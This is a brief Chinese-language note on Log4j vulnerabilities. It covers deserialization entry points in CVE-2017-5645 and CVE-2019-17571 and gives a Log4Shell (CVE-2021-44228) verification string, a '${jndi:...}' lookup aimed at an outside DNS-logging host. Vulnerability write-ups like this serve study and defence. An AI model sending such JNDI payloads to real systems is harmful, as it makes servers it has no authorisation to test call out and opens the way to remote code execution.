参考文章

介绍

在项目中显示相关日志最原始的方式就是在代码段中添加相关打印的语句, 这样可以在运行时掌握程序的运行状态; 为了方便的查看日志, 需要封装一个日志打印的操作类

Log4j是Apache的开源项目, 可以实现对System.out等打印语句的替代, 并且可以结合spring等项目, 实现把日志输出到控制台或文件等

本次的两个漏洞均为未对传入的需要反序列化的数据做过滤, 导致了恶意构造从而造成相关反序列化漏洞

漏洞

CVE-2017-5645

影响版本

Log4j 2.x <= 2.8.1

具体分析

反序列化入口为ObjectinputStreamLogEventBridge.class类的logEvents()函数的inputStream.readObject()

由于对传入的数据没有进行过滤, 因此若存在, 即可通过commons-collections的Gadget链直接实现反序列化漏洞(CC链又出现了)

CVE-2019-17571

影响版本

Log4j 1.2.x <= 1.2.17

具体分析

反序列化入口为SimpleSocketServer.class的run()中的代码

event = (LoggingEvent)this.ois.readObject();

当获取的this.ois不为null时直接用readObject()进行反序列化, 造成反序列化漏洞, 利用方式同样是打commons-collections的Gadget链

CVE-2021-44228

影响版本

Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1

影响组件

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

漏洞验证

${jndi:idap://579d2205.dns.1433.eu.org.}

Java 8u191+ 默认阻止远程类加载